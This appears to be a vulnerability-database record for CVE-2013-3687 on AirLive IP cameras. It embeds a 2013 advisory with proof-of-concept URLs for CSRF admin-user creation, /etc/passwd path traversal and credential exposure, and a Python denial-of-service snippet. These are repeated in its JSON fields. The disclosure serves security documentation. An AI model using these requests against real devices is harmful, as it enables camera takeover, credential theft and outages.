VAR-201310-0205
Vulnerability from variot - Updated: 2023-12-18 11:39AirLive POE2600HD, POE250HD, POE200HD, OD-325HD, OD-2025HD, OD-2060HD, POE100HD, and possibly other camera models use cleartext to store sensitive information, which allows attackers to obtain passwords, user names, and other sensitive information by reading an unspecified backup file. Airlive IP Camera is an IP camera device. Multiple Airlive IP Cameras are prone to an information-disclosure vulnerability. Information obtained will aid in further attacks. =========================================================================== AIRLIVE ==================================================================== ===========================================================================
1.Advisory Information Title: Airlive Multiple Vulnerabilities Date Published: 12/06/2013 Date of last updated: 12/06/2013
2.Vulnerability Description Multiple vulnerabilities have been found in this devices: -CVE-2013-3540. Cross Site Request Forgery(CWE-352) and Clickjacking(CAPEC-103) -CVE-2013-3541. Relative Path Traversal(CWE-23). -CVE-2013-3686. Information Exposure(CWE-200) and Permissions, Priveleges and Access Controls(CWE-264) -CVE-2013-3687. Clear Text Storage of Sensitive Information(CWE-312) -CVE-2013-3691. Denial of Service
3.Affected Products CVE-2013-3541, CVE-2013-3686, the following product is affected: WL2600CAM CVE-2013-3540, CVE-2013-3687, the following products are affected: POE2600HD, POE250HD, POE200HD, OD-325HD, OD-2025HD, OD-2060HD, POE100HD. It\x92s possible others models are affected but they were not checked.
4.PoC 4.1.Cross Site Request Forgery (CSRF) CVE-2013-3540 CSRF via GET method. Targeted attack to any administrator. A malicious user can try targeted attacks by sending a special CSRF vector. This allows you to manipulate web interface parameters. In the following example we will make a vector to create an alternative user with administration credentials.
http://xx.xx.xx.xx/cgi-bin/admin/usrgrp.cgi?user=test1&pwd=test1&grp=administrator&sgrp=ptz&action=add&redirect=
4.2.Relative Path Traversal CVE-2013-3541, Transversal Path that\x92s allow you to read file system configuration.
http://xx.xx.xx.xx/cgi-bin/admin/fileread?READ.filePath=../../../../etc/passwd
4.3.Sensitive Information Exposure + Privilege Escalation CVE-2013-3686, Sensitive Exposure of sensitive data by writing the following URL
http://xx.xx.xx.xx/cgi-bin/operator/param?action=list&group=General.UserID
We can decode Admin password (base64). You can open with any text editor and look for user's information for example, passwords, users and so on.
4.5.Denial of Service (DoS) Use CVE-2013-3691, DoS by overbuffing path \x91/\x92. A request with a large number of \x91a\x92 can take down the http service from the camera device.
Request: http://xx.xx.xx.xx/[a*3000]
You will get the next message, Conexion has been reset. After remove de adds and refresh it you will get the next message, Can't Connect
It will be down for around 2min but if we are doing the request once and again each 1min for example, the camera won\x92t recuperate ever itself
The following Python script could be used to test the DoS:
@ request = 'GET /' + \x91A\x92 * 3000 + '.html HTTP/1.0\r\n'
@ s = socket.socket()
@ s.connect((cam_ip, 80))
@ s.send(request)
@ response = s.recv(1024)
@ s.close()
5.Credits
-CVE-2013-3541 was discovered by Eliezer Varad\xe9 Lopez, Javier Repiso S\xe1nchez and Jon\xe1s Ropero Castillo. -CVE-2013-3691 was discovered by Javier Repiso S\xe1nchez and Jon\xe1s Ropero Castillo -CVE-2013-3540, CVE-2013-3686, CVE-2013-3687 was discovered by Jon\xe1s Ropero Castillo.
6.Report Timeline -2013-05-31: Students team notifies the Airlive Customer Support of the vulnerabilities. No reply received. -2013-06-03: Students asks for a reply. -2013-06-05: Airlive team reports to the technical support to analyze the vulnerabilities
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201310-0205",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "airlive poe250hd",
"scope": "eq",
"trust": 1.6,
"vendor": "ovislink",
"version": null
},
{
"model": "airlive od-2025hd",
"scope": "eq",
"trust": 1.6,
"vendor": "ovislink",
"version": null
},
{
"model": "airlive poe2600hd",
"scope": "eq",
"trust": 1.6,
"vendor": "ovislink",
"version": null
},
{
"model": "airlive poe200hd",
"scope": "eq",
"trust": 1.6,
"vendor": "ovislink",
"version": null
},
{
"model": "airlive poe100hd",
"scope": "eq",
"trust": 1.6,
"vendor": "ovislink",
"version": null
},
{
"model": "airlive od-2060hd",
"scope": "eq",
"trust": 1.6,
"vendor": "ovislink",
"version": null
},
{
"model": "od-2025hd",
"scope": null,
"trust": 0.8,
"vendor": "ovislink",
"version": null
},
{
"model": "od-2060hd",
"scope": null,
"trust": 0.8,
"vendor": "ovislink",
"version": null
},
{
"model": "od-325hd",
"scope": null,
"trust": 0.8,
"vendor": "ovislink",
"version": null
},
{
"model": "poe-100hd",
"scope": null,
"trust": 0.8,
"vendor": "ovislink",
"version": null
},
{
"model": "poe-200hd",
"scope": null,
"trust": 0.8,
"vendor": "ovislink",
"version": null
},
{
"model": "poe-250hd",
"scope": null,
"trust": 0.8,
"vendor": "ovislink",
"version": null
},
{
"model": "poe-2600hd",
"scope": null,
"trust": 0.8,
"vendor": "ovislink",
"version": null
},
{
"model": "ip camera poe100hd",
"scope": null,
"trust": 0.6,
"vendor": "airlive",
"version": null
},
{
"model": "ip camera od-2060hd",
"scope": null,
"trust": 0.6,
"vendor": "airlive",
"version": null
},
{
"model": "ip camera od-2025hd",
"scope": null,
"trust": 0.6,
"vendor": "airlive",
"version": null
},
{
"model": "ip camera od-325hd",
"scope": null,
"trust": 0.6,
"vendor": "airlive",
"version": null
},
{
"model": "ip camera poe200hd",
"scope": null,
"trust": 0.6,
"vendor": "airlive",
"version": null
},
{
"model": "ip camera poe250hd",
"scope": null,
"trust": 0.6,
"vendor": "airlive",
"version": null
},
{
"model": "ip camera poe2600hd",
"scope": null,
"trust": 0.6,
"vendor": "airlive",
"version": null
},
{
"model": "airlive poe-2600hd",
"scope": "eq",
"trust": 0.3,
"vendor": "ovislink",
"version": "0"
},
{
"model": "airlive poe-250hd",
"scope": "eq",
"trust": 0.3,
"vendor": "ovislink",
"version": "0"
},
{
"model": "airlive poe-200hd",
"scope": "eq",
"trust": 0.3,
"vendor": "ovislink",
"version": "0"
},
{
"model": "airlive poe-100hd",
"scope": "eq",
"trust": 0.3,
"vendor": "ovislink",
"version": "0"
},
{
"model": "airlive od-325hd",
"scope": "eq",
"trust": 0.3,
"vendor": "ovislink",
"version": "0"
},
{
"model": "airlive od-2060hd",
"scope": "eq",
"trust": 0.3,
"vendor": "ovislink",
"version": "0"
},
{
"model": "airlive od-2025hd",
"scope": "eq",
"trust": 0.3,
"vendor": "ovislink",
"version": "0"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-07702"
},
{
"db": "BID",
"id": "60551"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-004610"
},
{
"db": "NVD",
"id": "CVE-2013-3687"
},
{
"db": "CNNVD",
"id": "CNNVD-201306-348"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:ovislink:airlive_poe200hd:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:h:ovislink:airlive_od-2060hd:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:h:ovislink:airlive_poe2600hd:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:h:ovislink:airlive_poe250hd:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:h:ovislink:airlive_od-2025hd:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:h:ovislink:airlive_poe100hd:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "NVD",
"id": "CVE-2013-3687"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "JonAis Ropero Castillo",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201306-348"
}
],
"trust": 0.6
},
"cve": "CVE-2013-3687",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"acInsufInfo": false,
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "NVD",
"availabilityImpact": "NONE",
"baseScore": 7.8,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"impactScore": 6.9,
"integrityImpact": "NONE",
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"severity": "HIGH",
"trust": 1.0,
"userInteractionRequired": false,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:N/A:N",
"version": "2.0"
},
{
"acInsufInfo": null,
"accessComplexity": "Low",
"accessVector": "Network",
"authentication": "None",
"author": "NVD",
"availabilityImpact": "None",
"baseScore": 7.8,
"confidentialityImpact": "Complete",
"exploitabilityScore": null,
"id": "CVE-2013-3687",
"impactScore": null,
"integrityImpact": "None",
"obtainAllPrivilege": null,
"obtainOtherPrivilege": null,
"obtainUserPrivilege": null,
"severity": "High",
"trust": 0.8,
"userInteractionRequired": null,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:N/A:N",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CNVD-2013-07702",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "MEDIUM",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
}
],
"cvssV3": [],
"severity": [
{
"author": "NVD",
"id": "CVE-2013-3687",
"trust": 1.8,
"value": "HIGH"
},
{
"author": "CNVD",
"id": "CNVD-2013-07702",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "CNNVD",
"id": "CNNVD-201306-348",
"trust": 0.6,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-07702"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-004610"
},
{
"db": "NVD",
"id": "CVE-2013-3687"
},
{
"db": "CNNVD",
"id": "CNNVD-201306-348"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "AirLive POE2600HD, POE250HD, POE200HD, OD-325HD, OD-2025HD, OD-2060HD, POE100HD, and possibly other camera models use cleartext to store sensitive information, which allows attackers to obtain passwords, user names, and other sensitive information by reading an unspecified backup file. Airlive IP Camera is an IP camera device. Multiple Airlive IP Cameras are prone to an information-disclosure vulnerability. Information obtained will aid in further attacks. ===========================================================================\nAIRLIVE\n====================================================================\n===========================================================================\n\n1.Advisory Information\nTitle: Airlive Multiple Vulnerabilities\nDate Published: 12/06/2013\nDate of last updated: 12/06/2013\n\n2.Vulnerability Description\nMultiple vulnerabilities have been found in this devices:\n-CVE-2013-3540. Cross Site Request Forgery(CWE-352) and Clickjacking(CAPEC-103)\n-CVE-2013-3541. Relative Path Traversal(CWE-23). \n-CVE-2013-3686. Information Exposure(CWE-200) and Permissions, Priveleges and Access Controls(CWE-264)\n-CVE-2013-3687. Clear Text Storage of Sensitive Information(CWE-312)\n-CVE-2013-3691. Denial of Service\n\n3.Affected Products\nCVE-2013-3541, CVE-2013-3686, the following product is affected: WL2600CAM\nCVE-2013-3540, CVE-2013-3687, the following products are affected: POE2600HD, POE250HD, POE200HD, OD-325HD, OD-2025HD, OD-2060HD, POE100HD. \nIt\\x92s possible others models are affected but they were not checked. \n\n4.PoC\n4.1.Cross Site Request Forgery (CSRF)\nCVE-2013-3540 CSRF via GET method. Targeted attack to any administrator. \nA malicious user can try targeted attacks by sending a special CSRF vector. This allows you to manipulate web interface parameters. \nIn the following example we will make a vector to create an alternative user with administration credentials. \n_____________________________________________________________________________\nhttp://xx.xx.xx.xx/cgi-bin/admin/usrgrp.cgi?user=test1\u0026pwd=test1\u0026grp=administrator\u0026sgrp=ptz\u0026action=add\u0026redirect= \n_____________________________________________________________________________\n\n4.2.Relative Path Traversal\nCVE-2013-3541, Transversal Path that\\x92s allow you to read file system configuration. \n_____________________________________________________________________________\nhttp://xx.xx.xx.xx/cgi-bin/admin/fileread?READ.filePath=../../../../etc/passwd\n_____________________________________________________________________________\n\n4.3.Sensitive Information Exposure + Privilege Escalation\nCVE-2013-3686, Sensitive Exposure of sensitive data by writing the following URL\n_____________________________________________________________________________\nhttp://xx.xx.xx.xx/cgi-bin/operator/param?action=list\u0026group=General.UserID\n_____________________________________________________________________________\nWe can decode Admin password (base64). \nYou can open with any text editor and look for user\u0027s information for example, passwords, users and so on. \n\n4.5.Denial of Service (DoS)\nUse CVE-2013-3691, DoS by overbuffing path \\x91/\\x92. A request with a large number of \\x91a\\x92 can take down the http service from the camera device. \n_____________________________________________________________________________\nRequest: http://xx.xx.xx.xx/[a*3000]\n_____________________________________________________________________________\nYou will get the next message, Conexion has been reset. After remove de adds and refresh it you will get the next message, Can\u0027t Connect\n\nIt will be down for around 2min but if we are doing the request once and again each 1min for example, the camera won\\x92t recuperate ever itself\n\nThe following Python script could be used to test the DoS:\n_____________________________________________________________________________\n @ request = \u0027GET /\u0027 + \\x91A\\x92 * 3000 + \u0027.html HTTP/1.0\\r\\n\u0027\n @ s = socket.socket()\n @ s.connect((cam_ip, 80))\n @ s.send(request)\n @ response = s.recv(1024)\n @ s.close()\n_____________________________________________________________________________\n\n5.Credits\n\n-CVE-2013-3541 was discovered by Eliezer Varad\\xe9 Lopez, Javier Repiso S\\xe1nchez and Jon\\xe1s Ropero Castillo. \n-CVE-2013-3691 was discovered by Javier Repiso S\\xe1nchez and Jon\\xe1s Ropero Castillo\n-CVE-2013-3540, CVE-2013-3686, CVE-2013-3687 was discovered by Jon\\xe1s Ropero Castillo. \n\n6.Report Timeline\n-2013-05-31: Students team notifies the Airlive Customer Support of the vulnerabilities. No reply received. \n-2013-06-03: Students asks for a reply. \n-2013-06-05: Airlive team reports to the technical support to analyze the vulnerabilities",
"sources": [
{
"db": "NVD",
"id": "CVE-2013-3687"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-004610"
},
{
"db": "CNVD",
"id": "CNVD-2013-07702"
},
{
"db": "BID",
"id": "60551"
},
{
"db": "PACKETSTORM",
"id": "122001"
}
],
"trust": 2.52
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2013-3687",
"trust": 3.4
},
{
"db": "BID",
"id": "60551",
"trust": 1.5
},
{
"db": "JVNDB",
"id": "JVNDB-2013-004610",
"trust": 0.8
},
{
"db": "CNVD",
"id": "CNVD-2013-07702",
"trust": 0.6
},
{
"db": "FULLDISC",
"id": "20130612 SECURITY ANALYSIS OF IP VIDEO SURVEILLANCE CAMERAS",
"trust": 0.6
},
{
"db": "CNNVD",
"id": "CNNVD-201306-348",
"trust": 0.6
},
{
"db": "PACKETSTORM",
"id": "122001",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-07702"
},
{
"db": "BID",
"id": "60551"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-004610"
},
{
"db": "PACKETSTORM",
"id": "122001"
},
{
"db": "NVD",
"id": "CVE-2013-3687"
},
{
"db": "CNNVD",
"id": "CNNVD-201306-348"
}
]
},
"id": "VAR-201310-0205",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-07702"
}
],
"trust": 1.6
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-07702"
}
]
},
"last_update_date": "2023-12-18T11:39:18.027000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Airlive IP Kamery",
"trust": 0.8,
"url": "http://cz.airlive.com/product/category/network-surveillance"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2013-004610"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-310",
"trust": 1.8
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2013-004610"
},
{
"db": "NVD",
"id": "CVE-2013-3687"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 3.3,
"url": "http://seclists.org/fulldisclosure/2013/jun/84"
},
{
"trust": 0.8,
"url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2013-3687"
},
{
"trust": 0.8,
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2013-3687"
},
{
"trust": 0.6,
"url": "http://www.securityfocus.com/bid/60551"
},
{
"trust": 0.3,
"url": "http://www.airlive.com/product/category/network-surveillance"
},
{
"trust": 0.1,
"url": "http://xx.xx.xx.xx/cgi-bin/admin/usrgrp.cgi?user=test1\u0026pwd=test1\u0026grp=administrator\u0026sgrp=ptz\u0026action=add\u0026redirect="
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-3541"
},
{
"trust": 0.1,
"url": "http://xx.xx.xx.xx/cgi-bin/operator/param?action=list\u0026group=general.userid"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-3687"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-3540"
},
{
"trust": 0.1,
"url": "http://xx.xx.xx.xx/cgi-bin/admin/fileread?read.filepath=../../../../etc/passwd"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-3686"
},
{
"trust": 0.1,
"url": "http://xx.xx.xx.xx/[a*3000]"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-07702"
},
{
"db": "BID",
"id": "60551"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-004610"
},
{
"db": "PACKETSTORM",
"id": "122001"
},
{
"db": "NVD",
"id": "CVE-2013-3687"
},
{
"db": "CNNVD",
"id": "CNNVD-201306-348"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2013-07702"
},
{
"db": "BID",
"id": "60551"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-004610"
},
{
"db": "PACKETSTORM",
"id": "122001"
},
{
"db": "NVD",
"id": "CVE-2013-3687"
},
{
"db": "CNNVD",
"id": "CNNVD-201306-348"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2013-06-20T00:00:00",
"db": "CNVD",
"id": "CNVD-2013-07702"
},
{
"date": "2013-06-12T00:00:00",
"db": "BID",
"id": "60551"
},
{
"date": "2013-10-16T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2013-004610"
},
{
"date": "2013-06-13T05:42:00",
"db": "PACKETSTORM",
"id": "122001"
},
{
"date": "2013-10-11T21:55:44.247000",
"db": "NVD",
"id": "CVE-2013-3687"
},
{
"date": "2013-06-20T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201306-348"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2013-08-29T00:00:00",
"db": "CNVD",
"id": "CNVD-2013-07702"
},
{
"date": "2013-06-12T00:00:00",
"db": "BID",
"id": "60551"
},
{
"date": "2013-10-16T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2013-004610"
},
{
"date": "2013-10-15T14:20:19.063000",
"db": "NVD",
"id": "CVE-2013-3687"
},
{
"date": "2013-10-15T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201306-348"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201306-348"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "plural AirLive Vulnerabilities in which important information is obtained in products",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2013-004610"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "encryption problem",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201306-348"
}
],
"trust": 0.6
}
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…